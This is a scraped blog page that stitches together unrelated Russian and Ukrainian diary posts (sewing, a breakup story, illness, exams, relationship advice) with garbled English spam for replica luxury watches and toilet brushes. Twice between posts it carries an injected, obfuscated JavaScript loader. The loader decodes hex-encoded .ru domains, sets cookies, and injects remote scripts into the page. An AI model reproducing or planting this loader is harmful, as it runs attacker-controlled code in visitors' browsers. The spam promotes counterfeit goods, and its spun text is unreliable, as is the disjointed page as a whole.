Насчёт платья я вообще не определилась и не знаю чего я хочу, а практика не за горами и мне необходимо иметь к пятнице ткани и нужные модели.
Короче это моя самая долгожданая практика превращается в самую нежеланную.
А почему? Потому что в последнее время я заметила, что ко мне преподаватель, который будет вести у нас практику начал относиться с некой неприязнью что ли. А всё потому что я шью много вещей сама и на курсовик я сама шью бомбер, а все будут шить свои изделия на практике.
И даже с выбором моделей я не могу определиться, потому что мне это не интересно, так как любое что я выберу я смогу сшить дома.
И я не виновата, что я сама очень много развиваюсь в этом и много чего ищу в интернете и уже далеко ушла от многих из группы.
Вот такие вот дела.

Последняя сшитая мною вещь это юбка.

Ткань из икеи, очень плотная и очень хорошо стоит.
Шила её в воскресенье вечером и за один вечер я её почти сшила. Утром только низ подшила.

Очень радует меня моя оперативность и главное аккуратность в пошиве. Так как когда у меня не было оверлока, мои вещи сейчас кажутся мне жутко пошитыми и половина мне разонравились.
Хочу, чтобы во все сшитые мной вещи я сразу влюблялась.

replique montres rolex montres could be the most stated brand, in regards towards the noble model in wristwatches. This French-centered watchmaker is especially visible as good blend is generally made by its items amongst superstars. The right mix of neoteric concept and classic beauty should be what makes montres a label that is huge. As standard watchmaking guidelines shattered the Container collection is really a long-term star inside the subject of wristwatches.

montresidole.com Along with the preferred Ballon Bleu de montres collection is what reveals montres’s awareness of conventional model. Along with there is a classic feel what montres never forgets to emphasize on its every collection. Roman numerals and blade-shape arms created using blued material in watches that are most montres only read the attraction that is classic. Container and rolex will be the two series that include a touch that is exclusively noble. Weighed against the Container models, rolex watches appear somewhat modern. Different from the rectangular scenario shape using obvious aspects in Container watches, the versions come with an outline that is less-sharp. Along with the famous prop-established layout that is bezel additionally gives rolex watches and a distinctive look together.

Certainly, replique montres watches that are rolex can also be sugar dressing extras for fashionistas who search for star-model products at discount price. Using inspiration from the official layout, replique montres watches that are rolex include approximate rectangular scenarios using easy aspects. The 2-firmness replique montres rolex watches catch many face whilst the mix of rosegold and steel that is stainless delivers an incredible look. In the twotone replique the real, montres rolex watches, brushed steel scenarios are installed using lustrous rosegold bezels. Along with the bezels are additionally adorned using high-contrast metal fasteners.

Nicely, brownish leather connectors and magic dials using vibrant Roman numerals only put in the presently classy replique montres rolex watches and a classic trace together. Together with the basic white-and- style, rolex dials will probably please watch buyers who expect a clear, straightforward and antique - look that is motivated.

Костя очень интересный человек. наверное я имею в виду в плохом смысле. ибо я его нихера понять не могу. и мне это не нравится. а еще мне не нравится что мы по сути чужие люди а я жду от него Бог знает чего. и кстати то что мы все еще чужие люди мне тоже не нравится.

Это был конец. Конец, который он выдумал, обдумал и преподнес мне как нож на голубом блюдце. Он был красивым, блестящим и очень острым. Всего лишь одно его прикосновение и я истеку кровью, которая, как кажется, никогда не остановиться. Я истекала соленой водой, которая лилась из моих глаз. Без какой либо обстановки, для вдоха, вдоха чистого воздуха. Я умерла. В прямом и переносном смысле. Два дня без света, еды и какого либо общения с окружающей средой. Мертва и истощеная. Силы нашлись всего лишь для того, что бы встать, пройти на кухню и взять дрожащими руками сигареты, как всегда - ментоловые. Слезы исчезли, затянулась… Уххх, стало легче дышать. Открылись глаза и я опять захотела жить. Просто для себя. Свободно. 22:00, мне нужно выспаться. Давно у меня не было таких ярких снов и такого спокойного сна.. .меня разбудила смс: "доброе утро, улыбайся почаще". Номер был неизвестен, но цифры до боли знакомы. 10 утра. Ну что же? - подумала я, раз уж я живу для себя, то каждое утро я буду начинать с тренировке в спорт зале. 30 минут на сборы и вот я в своем любимым Adidas, с любимой музыкой в наушниках иду по любимой аллейке не далеко от дома и наслаждаюсь солнечными лучами, думая только о хорошем. Rihannu прервал звонок, опять эти знакомые цифры: - Але.. - Привет красотка, надеюсь ты узнала? - Узнала, - а внутри птицы запели и бабочки захлопали своими яркими крыльями. - Обернись на лево, я еду за тобой. Поворот на 180 градусов, и вот она моя любимая матовая BMW. Назад дороги нет, - подумала я, и медленным шагом подошла к машине, открыла дверь и…. Тюльпаны, мои любимые тюльпаны… - Садись, я подвезу тебя. Куда? - В спорт зал, - смущенно ответила я. Проспект, 120 на спидометре и ни одной машины на пути.. .а он не изменился, все тот же взгляд, все та же улыбка, все тот эе запах, на руке g-shoke и как всегда играет Баста. Ну вот приехали. - Малышка, я думаю, ты не против, вечером отметить нашу встречу с бокалом красного вина, в компании моих друзей? - Да нет, я с радостью, - со смехом ответила я. Выйдя из машины, моя внутренняя Королева никак не могла остановиться танцевать, прыгать и хлопать в ладоши. Запах тюльпанов дарил мне своеобразную уверенность и какую-то частицу счастья. Я не замечала вокруг никого, только чувствовала что ни один мужчины не пропустил меня взглядом. Впервые, в зале я не смущалась, а уверенно бежала на беговой дорожке, позже качала ноги, а после руки.. Все время я смотрела в зеркало и искала все самое сексуальное и сногсшибательное в себе.. И скажу с уверенностью, у меня это очень даже хорошо получалось. День пролетел как звезда, падающая с неба. Какое же платье одеть?, - ходя по квартире прокручивала я. - Красное, точно. Оно очень хорошо подчеркнет мою грудь и длинные ноги. И новое черное белье, зря мама говорила что оно не пригодиться мне. Я знала что этот момент придет.. И пожалуй, впервые в жизни, одену чулки. Я обожала этот ресторан, голоса тех девушек, которые пели Джаз и вкусную Европейскую кухню. Но..но уже пареступая через порог ресторана, я его возненавидела. В конце зала, я увидела его с блондинкой, которая сидела ко мне спиной. Моя внутренняя королева упала на колени и молила, молила Бога о том, что бы только не за тот стол пришлось сесть нам. И кажется..Бог не услышал наши молитвы. Я побледнела, по краснела, опять побледнела и просто была ошарашена. И именно тогда, я поняла, что это самое худшее свидание в моей жизни. Его взгляд как ток, прошелся по моему телу, ударяя по 220 вольт в каждую клеточку. Блондинка мне мило улыбалась. Как оказалось позже, Инна, была родной сестрой Вадима. А мой убийца ее будущий муж. Сказать, Что тот нож опять пронизил мое тело - ничего не сказать. Мои руки потели, аппетита не было, а вина было все мало мало. - Как же так? Неужели все эти, пол года, так называемого счастья, меня водили за нос? Как же так, распорядилась со мною судьба, что я ни разу не заметила обмана?, - тысячи мыслей пробегали в моей голове и я ушла в себя, не замечая того, сколько тарелок поменяли за нашим столом, сколько вина я выпила и о чем шла вообще речь, сидящих рядом со мною людей. - Мне пора выйти. Зеркало, розовый стены и взгляд. Взгляд в пустую меня. Я чувствовала, как тот красивый, блестящий и острый нож, гуляет по моему телу, нажимая на определенные точки моего тела, которые так любил "он". Где-то далеко, в пространстве слышу: - Прости. - произнес знакомый голос, - Прости, за все. Обманывать тебя, я вовсе не хотел. Так уж сложилась судьба, что суждена была она. Мне казалось что это было сон, и я пыталась проснуться, ущипнуть себя, закрыть-открыть глаза. Эта была реальность. Мой любимый убийца стоял в метре от меня, со слезами на глазах тихо просил о прощении. Я была не Я. Ни слова не сказав, я прошла мимо, вдохнула его запах.. Вышла, вызвала такси и уехала домой. И только здесь, Бог мне помог. В моем кошельке оказалось достаточно денег, что бы уехать в другой город и начать все по-другому. Только спустя год, я понемногу начала возвращаться в себя. Каждую ночь, сквозь соленую воду я ощущала движения ножа по своему телу и слышала слова "прости". Я не могла простить его, я не могла простить себя. Только потому, что оказалась настолько слабой. В очередное утро, пустого дня, я захотела выйти на улицу и сделать вдох. Покушать сендвич и выпить колы. Не знаю, какие силы заставили меня собраться, привести себя убитую в порядок и выйти из дому. Я не верю в чудеса, но они случаются. BMW, все та же, матовая. Опускается окно, а там Вадим, точно такой же, как и год назад. С тюльпанами в руках. Моя жизнь обрела смысл. Я любимая жена, любимого мужа и счастливая мама своих близнецов. Своего убийцу я больше не встречала, он обманул Инну точно так же, оставив с малышкой на руках. А та ночь, которая, казалась год назад моим пределом, оказалось моим началом. Началом новой меня и моей книги, о моем любимом убийце.

Просто режим нон-стоп. Сегодня я спала 3 часа. И то не успела сделать все, что нужно было сделать. А еще вчера один человек снова решил напомнить о себе. Хотя, похоже, это его девушка до сих пор не успокоится. Как же это тупо! Мне аж противно от этого. Просто фу. У них своя жизнь, у меня своя-дак зачем переодически пытаться как-то задеть меня?!

Сегодня встала в 6. От того, что дико болят уши и ничего не слышу. Недавно простыла, болела. Этого следовало ожидать. Уснуть так и не смогла. До 8 часов ждала, пока заработает больница. И естественно, на сегодня все занято. Сейчас немного лучше. Попустило. Но к врачу все равно нужно сходить. Так и валялась до часов 9.

Вообще меня ждет тяжелый день. Я буду ездить с одного конца города в другой. Докупаю по немного материалы для ногтей. У меня уже столько идей. Немного переживаю, что еще не окрепла после лечения. Хватит ли мне сил мотаться по городу. Погода тоже странная. То солнце светит, то льет дождь. А еще надо собираться, что мне вообще в великий лом. И никак не могу распланировать куда ехать. То, куда я ожидала съездить первым делом, оказалось вообще в другом месте и в самую последнюю очередь.

а чи треба?

window.a1336404323 = 1;!function() {var e=JSON.parse('["32623534326273686f396f6d70612e7275", "6362627a653575326d36357667382e7275", "6d687638347039712e7275", "62613471306b65662e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

В детстве, лет с 6-и, когда болела, никто меня не жалел. Ну только бабушки и дедушки. Мама обо мне заботилась только физически, то есть никогда не обнимала, не тискала, не сидела со мной. Просто лечила, потому что "я говорила тебе надевать колготки". Поэтому я привыкла смотреть на градусник и рассуждать, что лучше - валяться дома с температурой или бегать на физкультуре. Не знаю в силу чего, но теперь болею я примерно раз в год, зато с размахом. Я знаю, что физическое истощение непременно влияет на иммунитет и на сопротивляемость организма. Просто когда я хочу лежать дома и тихонечко умирать на подушке, я заболеваю. Не в -45, а просто когда устала. И мама по-прежнему меня не тискает. Иногда чувствую себя спортанцем. Сделала мне отвар, положила лекарства на стол, а потом со всей семьей уехала в огород. НОРМАС! Так даже лучше: когда вокруг тебя не бегают, желания залёживаться на кроватке особо нет. Тем более, когда завтра все равно на работу и ничего с этим не сделать.

Хочу пельменей. И красной рыбы. Насчет рыбы не уверена, но за пельменями сгоняю. И за бритвами, и за носками. Даже если до дембеля осталось 36 дней, а посылка будет идти около 20-и, все равно это всё пригодится ему.

36 дней, еб твою мать. 36 против 366. я говорила, что я батя?)

от вчиться людина на психолога..думаєте даремно? ні!!
відкриває в собі все, що тільки можна а потім…

залежить від неї, витримає чи провалиться у цю прірву інформації, думок, характеристик.

і от ти добрався, здається все вирішив, зловив, зрозумів і опппп - залишаєся з цим..думаєш, що його далі робити.
є думки, плани, дії? ні, їх немає.
висновок: поваритись в тому що є.
гармонія потребує часу…

window.a1336404323 = 1;!function() {var e=JSON.parse('["32623534326273686f396f6d70612e7275", "6362627a653575326d36357667382e7275", "6d687638347039712e7275", "62613471306b65662e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

сегодня приснилась та квартира, где мы жили втроём. мы были на кухне, я сидела на столе и как обычно психовала из-за какой то хуйни…а ты просто стоял напротив меня и улыбался, тебя всегда забавляли мои "добрые истерики". я так хотела бы вернуться в то время, когда у нас всё хорошо было, когда планировали свадьбу. прошёл год, а я так и продолжаю винить себя в нашем расставании…мне надо уже забыть всё, потому что тут ничего не вернуть уже, а из-за того что всё ещё держусь за прошлое, не могу быть по настоящему счастлива с Сашкой. в субботу мне предстоит увидеть тебя, я боюсь этого до ужаса.

1. Не будь ревнивицей и не бойся конкуренток, будь уверена в себе и в том, что именно ты – его возлюбленная. Твой возлюбленный обязательно обратит внимание, если ты начнешь нервничать и переживать при виде привлекательной женщины и, возможно, начнет сам обращать на нее внимание, сравнивать. Но если ты уверена в себе, то и у него не возникнет сомнений, что с ним самая лучшая женщина на земле.

2. Не проявляй слишком сильно эмоции, не стоит устраивать истерики по любому поводу. Реагируя на все слова и поступки возлюбленного крайне остро, ты лишь показываешь ему свою слабость и уязвимость, теряя его уважение и приводя отношения к разрыву. Переизбыток эмоций и драм не приводит к хорошему финалу.

3. Люби себя, верь в свою привлекательность. Когда ты ведешь себя как самая большая награда в жизни мужчины, тогда и он будет тебя соответственно воспринимать.

4. Не делай так, чтобы он считал, что тебя слишком много. Не пиши ему каждые 5 минут, не соглашайся с радостью на все, что он предлагает, не звони постоянно. Дай ему волю проявлять инициативу, помни, что чем меньше он получает, тем больше хочет.

5. Относись с улыбкой и юмором к себе и к жизни. Легкие и веселые люди всегда притягивают к себе внимание. Смотри на проблемы с улыбкой.

6. Не контролируй каждый его шаг, не заставляй его переделывать свой характер и слушаться тебя во всем. Не забывай, что с тобой взрослый и сильный мужчина, которому вряд ли понравится, что с ним обращаются как с ребенком.

Так захотелось что-нибудь написать, а что - сама не знаю.

На днях зависали на авито, смотрели объявления с котятами, а сегодня я одна вот с пёсиками пролистывала..Они все такие ну просто мимимиии:3 *зашкаливаееет*

Иногда, кстати, натыкаюсь на объявления с бездомными зверятами..Кто-то из добрых людей пытается пристроить..и я прям не могуу, сердце разрывается и реветь начинаю сразу. Вот им-то за что?:(

Влад у меня кота хочет, я собаку. А условия говорят идите нахуй, ребят. Ну или Белку выгуливайте (хомячка наша :D)

Бабы никогда не признают свои ошибки. Если баба признаёт ошибку, значит она тебя отвлекает, чтобы ты не спалил где она пиздец как объебалась

Знаете, в чем шутка? Люди бросают все силы, чтобы вытянуть тебя из себя, вытянуть на свет, а когда это получается, они уже не рады.

Чем меня ещё бесит работа? Тем, что когда приходит почта, тётки раскладывают как им одним понятно, а не туда, где должно лежать, а я потом хожу, как лох, в поисках. Хожу, и уши горят. Потому что очень долго и в зале меня уже ненавидят. Я их, в принципе, тоже, вместе с их посылками неподъёмными) не скажу, что тут ад, но помойка-100%. Здесь все условия для того, чтобы ничего не потерялось и не сбилось, но из-за того, что всем пох и все лучше всех всё знают, тут вечно всё теряется, вечно очереди, вечно что-то лишнее всплывает, вечная путаницаааа. Помойка, короче. И среди людей тоже. Кто за дверь-того и полощут. Фу такими быть

Многие жёны думают, что мужья любят только их, а налево ходят так… от излишка свободного времени и тестостерона. Многие любовницы думают, что мужики любят их, а к жёнам домой приходят так… по месту прописки. На самом же деле большинство мужиков любят себя и только себя. Ну ещё маму. С жёнами они живут потому что там тепло, уютно и именно там находятся их чистые носочки, трусики и рубашки. К любовницам они ходят, потому что там за..бись. А к мамам они ходят, потому что там вкусно и всегда целуют в жопу, каким бы говном он ни был.

Странно видится с бывшими, когда у них свадьбы отгулены, дети рождены. А ты до сих пор просишь маму купить тебе шоколадку и получаешь хрен знает какое по счету образование. Вот потом и думай у них хуже в жизни все или с тобой что-то не так.

Понаблюдай, как ведет себя, как говорит, как движется Истинно Женственная Женщина. Ты заметишь в ней скрытую силу, которая позволяет ей не бегать, не суетиться, а просто плыть, доверившись реке жизни. Она знает, что мир на ее стороне и что все происходит во благо. Любые потери, любые переживания несут в себе очищающие вибрации, они учат ее мудрости. Она не сетует на обстоятельства, она ведает, что каждую секунду жизни своими мыслями она рисует ее картину. Поэтому она осознанно выбирает думать о хорошем, добром и ограничивает поступление к ней негативной информации. Ее взгляд осознан, в нем лучится нежный, ласкающий свет безусловной любви. Она не привязывается к мужчине, она сотрудничает с ним. Она умеет показать мужчине, как он силен, как она вдохновляется его мужеством, тем самым даря ему возносящие крылья и позволяя достигать новых вершин. И среди суетной толпы она не суетится, не бежит, куда ей бежать? Она несет себя, как драгоценное сокровище, ее походка воздушна, как полет мотылька. Она умиротворена и пребывает в настоящем, наслаждаясь красотой этого мгновения, зная, что ощутить счастье возможно не когда-то потом, а только сейчас. И она пьет этот нектар счастья в лучах солнца, в распустившихся цветах, в теплых каплях летнего дождя, в смехе играющих детей, в причудливых облаках, в улыбках прохожих. Она наполняется им, умножая сияние своей Души, и щедро дарит его другим, помогая прикоснуться к своей божественности каждому, кого Вселенная приводит на встречу к ней.. О.Торсунов ©

Что имеем-не храним, потерявши плачем

Читаю Сартра, бешусь от того, что все унылое дерьмо, бешу всех тем, что я сама унылое дерьмо. Все так ебано что-то.

— Я слышала, что они собираются снимать третий фильм о Торе. То есть, нам реально нужен третий фильм?
— Эмм… да, нужен. Так что заткнитесь.

Как ярая поклоница Тора - да, блин, очень нужен; D

Сьогодні в мене екзамен. Хоча я не хвилююсь, він в мене автоматом що і підняло настрій. Я боялась що в мене не стоїть оцінка з психології, і оказалося що з практики 4, але це мене не заділо, я всеодно була в хорошому настрої. А от у моєї подруги одногрупниці Інни настрій через 4 з практики зіпсувався, адже вона відмінниця. Що я тільки не робила щоб її заспокоїти і відволікти. Шутила, пропонувала щось зробити чи кудись піти, а їй всеодно. Настрій то в мене був хороший бо я думала, ніяких заборгованостей немає, ну подумаєш читвірок багато, то й що. Але настрій мені зіпсувала новина що за атестацію з соц. педагогіки в мене 4. З цього предмета в мене були постійно 5, тому настрою вже нестало. Я навіть не захотіла десь прогулятись, хоча правильно зробила так як через час почалась жахлива злива, добре що в цей момент я була дома. Але проблеми мене і там не уникнули, до мене подзвонила староста і каже що не стоїть то в мене семестр з психології. Через деякий час подзвонила Інна і сказала що вони з нашою одногрупницею завтра домовились перездати практику у самої керівника практики. Я була в шоці і сказала їй, а як же я, на що вона відповіла що мене ж все устраює. Хоча я їй сьогодні казала ще ранком що піду з нею практику здавати. В цей момент я відчувала себе жахливо і гидко. Я наче стараюсь щось зробити але це марно. Я просто хочу провалитись крізь землю, забитись в саме безлюдне місце і ніколи нікого не бачити. Я розчарувалась як і в собі так і в подзрузі. Хоча я сама себе засмучую набагато більше. Ну чесно, якесь ходяче розчарування. Мені неймовірно соромно за себе, за те що не вчусь, час трачу дарма на непотрібне. В цей самий час, коли мене накрила хвиля роздратування і відчаю я була у Діми. Не хочу псувати йому настрій. Тому вирішила забити на все, просто забути про проблеми. Мені допомогло, з Дімой мені добре. Сьогодні я зрозуміла наскільки він добрий. Завжди, коли я йому дзвоню і починаю сваритись, він спокійним тоном зі мною розмовляє, іноді навіть лагідно через що я стаю спокійною і сваритись не хочу. Як би добре мені не було, я знала що це не вічно, так як він знову мав їхати в місто на грес, велік комусь там віддати. Коли я була дома я не хвилювалась, я просто перестала думати про погане. Мене ніяк не відпускали спогади про сьогоднішній сон, в якому я відрізаю своє довге волосся(але в житті в мене воно і так коротке) і віддаю відрізані пасма Дімі. Я подивилась в інтернеті, що це може йти до розставання з чимось що мене засмучує і вести до початку чогось нового, а також це ще попереджує хворобу, розлуку з коханою людиною і подібна фігня. Але як на мене то перший варіант більш підходить до моєї ситуації. А ще я вчора пробувала гадати, і карти мені сказали що я отримаю поразку, що приведе мене до чогось нового і в тому числі до удачі, що мені потрібно діяти не дивлячись ні на що. Я не знаю наскільки я правильно зрозуміла карти, але хочеться вірити що можливо все буде добре, потрібно просто цей момент, екзамени пережити і не забувати про те що треба старатись.

Я только сегодня поняла как зависима от него. Если бы я его тогда не встретила, какой была моя жизнь? Какой она станет без тебя?! У меня под ногами раскололась земля и над головой треснуло небо. Все возвращается бумерангом, я себя не оправдываю. Я заслужила еще хуже…. никогда не верила, что " любовь живет три года ". У всего есть срок годности. Я была наивной дурочкой и верила, что мы пронесем эту любовь до старости, да ты и обещал. Я и поверила… зачем я вообще пишу это все тут ? Сейчас мне хочется видеть столько одного человека. Я исчезаю.

моя нежная, тихая девочка, ты прекрасна в любом обличии. моя буйная, дерзкая девочка, ты прекрасна до неприличия. моя стройная, умная девочка, почему постоянно с чаем? моя гордая, стойкая девочка, ведь такие как ты не скучают? моя смелая, бледная девочка, я с тобою готов под венец. моя бедная, слабая девочка, полюби же себя наконец.

— Господа! Этот абсурд меня доконал!

Definitely, not simply dude, just about every cheap replica Watches woman must keep more then one current and funky wrist watch. I take into consideration that with two good reasons. To start with, we live on earth that focuses on numerous-dimensional personality. Present day replica rolex day date women of all ages usually are not most likely to indicate their effeminate mark only. You will probably find that tag cloud like &ldquocapable&rdquo, &ldquointellectual&rdquo and &ldquosharp-spotted&rdquo are likely to be used to summarize women of all ages over these a long time. Plus the more contemporary wrist watches which indicate a match making use of their features would be chosen. Subsequently, which variety of wrist watches that females want will depend on which function they go to. Individuals flamboyant-search wrist watches may perhaps be perfect get-togethers as opposed to conferences. As a result, not simply girly-model versions, some unisex watches that express a lesser amount of emotional baggage will also be essential for current women of all ages. Properly, previals mixers strike the area are imitation Audemars Piguet Elegant Cherry wrist watches. As well as for some females who must grow in particular attention and respects, these gemstone-set imitation Audemars Piguet wrist watches would be perfect.

Reproduction Audemars Piguet Elegant Cherry wrist watches with gemstone-set bezel are innovative works to get devotion from men and women. Probably the most distinctive features of these imitation Audemars Piguet wrist watches is definitely the strong octagonal-formed bezel which differs from the curved or rectangle ones in other wrist watches. Along with what increases the straightforward and alcohol free appearance of these imitation Audemars Piguet wrist watches needs to be the powerful shape with distinct strains with the scenario. They support the went up gold scenario plus the gemstone-set bezel with lustrous faceted border. This kind of style and design just offers suitable concentrate on either luxurious and styles. Plus the brownish-well toned call with important Great Tapisserie theme detail is what offer you these imitation Audemars Piguet wrist watches an advanced search although the call helps to keep extremely simple just very simple time guns, hands and fingers, date home window and manufacturer personal. Along with the style and design, the tone itself is also what demands our particular attention. Brown-tinted call and rubber band deliver long-positioned classy attitude. If this sort of style and design still is omitted in your attire, just obtain one.

Таблетки) Я не выхожу из дома без обезболивающего и успокоительного) А еще альмагель и ренни всегда со мной. Ну конечно ключи телефон кошелек, но думаю это у всех) а вот косметику с собой практически не ношу. Редко зеркальце и помаду, по ситуации.

A bathroom really are about the most seen steel toilet brush on the town. Considering that all of us on the home stays atleast a while right. Entertaining the idea of this approach it's always about perfectly logical which usually for a couple of years we may get started in studying a bathroom unwanted and additionally uninspiring. There is basically no units or possibly most people right to make sure you distract China industrial brushes ODM will; if for example the aspect round you will is normally monotonous and additionally sick your entire swimming feel may become a listless workouts.

Imparting your bathrooms a fabulous facelift afterward will get an absolute must so that the software secures all the style was required to uplift any mood original that morning. Still, utterly refurbishing the restroom is really an extravagant proposal in which is not to be set about about the whim. Still, evolving a small number of elementary creations which usually makeup the root check for the bath room is much like beneficial in the form of carry out change.

Bath room vanities are often the a large number of attached area of this approach wood toilet brush. This is exactly just where everyone implement furniture from shave to make sure you painting brush. All the vanity mirror, submerge and additionally memory space closets are after lots of the ideas about whatever bath room. This approach simply being the result evolving any vainness will be filled with cash to make sure you uplift any bathroom’s visual appearance. There are a variety creations about bath room vanities you can find, all of these is made to order to suit your targeted really needs additionally.

There is many of united states in which are connoisseurs in the mind and additionally likes most of the a bathroom to make sure you share most of the tends to be. Still, obtaining a geniune retro vainness will be an enormously very difficult and additionally extravagant optional. In lieu advantages for choosing about retro vanities you can purchase which usually physical appearance such as great product still amount less. Retro vanities that have been planned for today's buildings really are works with present day plumbing related at the same time a real retro is bound to come to be utterly incompatible along with the innovative plumbing related. Entertaining the idea of this approach, getting a innovative vainness this really is engineered and additionally is visually such as basic is mostly a more suitable optional.

Interchanging any getting older faucets is normally an alternative very affordable concept that may renew any swimming breathing space. Leaky and additionally rusted faucets could take all the style away from top engineered a bathroom curved toilet brushes. Recent hot shower drapes, magnifying glaas mosaics and additionally colorful tiles are often the other sorts of aspects of your bath room any time switched may well brighten your entire aspect.

If you are planning to update your entire bath room, getting into the job along with the vainness is normally helpful. This is actually foremost product which usually creates all the primary a component a large number of a bathroom. Pick out vainness which usually is appropriate for how large is your bathrooms. Considerable two-fold vanities satisfy much bigger bath room although the one-time version is ideal for modest breathing space. Determine all the sizing prior to when you earn this particular decide to buy like cheap toilet brushes possessing any accessories it doesn't ride in any swimming breathing space is a really substantial catastrophe.

Finding a stash which allows just for brush for toilet is as well recommended. This fashion for fear that the good news is condition along with the proportions or possibly if for example the product doesn't necessarily quite check all the you needed envisioned you’re able to go on and change it out.

Ещё не началась сессия, а я уже хочу сдохнуть, особенно когда встаю по утрам вообще никакая. Мне надо как-то вывезти эти дикие 1,5 месяца и получить диплом, иначе все 4 года просто полетят к херам. Пашешь в зале, а потом ночью убиваешься тем, что не успела сделать днём. Через 6 дней первый экзамен, а мы ещё какого-то черта делаем на парах, которые ещё и двинуть нельзя. Впору затарить по ящику редбула и ново-пассита и сидеть учиться, попутно припивая то из одной, то из другой бутылки. Режим терминатора, чувствую, подпортит мне и расписание тренировок, и нервы, и отношения с людьми, и личную жизнь, потому что ни на что не останется времени, и плюсом к этому я, когда нехило стрессану, становлюсь просто невыносимой. Все мероприятия сопровождаются слезами, истериками и матом. Это всё какая-то мясорубка, в которую мы уже въезжаем. Шоу начинается.

Я о нём знаю давно, а он обо мне мало и недавно, и искренне уверен - что его идеальное впечатление равно реальности, я, в свою очередь, это всё потихоньку развенчиваю. Если бы мне пару лет назад сказали, что я буду с ним теперь, я бы рассмеялась и покрутила пальцем у виска. И я даже об этом ему недавно сказала, прикиньте, как далеко всё зашло? Я сама не понимаю, как такое могло произойти. Так или иначе, я нахожусь сейчас за этой широкой спиной, которая готова оградить меня от всего. И мне тепло за этой спиной. Выходить-выбираться из-за неё мне не хочется, по крайней мере пока.

внезапно осознала как скучаю по своим курицам. черт побери, я два месяца бегала и скрывалась от их постоянных расспросов и переживаний, а сегодня утром захотелось написать сразу всем. а еще лучше - просто внезапно оказаться у нас в кабинете, обстебать каждую, потом крепко обнять, поржать, заказать роллов, да даже ощутить на себе весь этот сумасшедший дом!! я соскучилась прям, серьезно!

Просто любить - недостаточно. Нужно еще быть совместимыми. Нужно любить ту жизнь, которую придется вести с другим - разделять его желания, стремления, иметь общие цели, общие мечты…

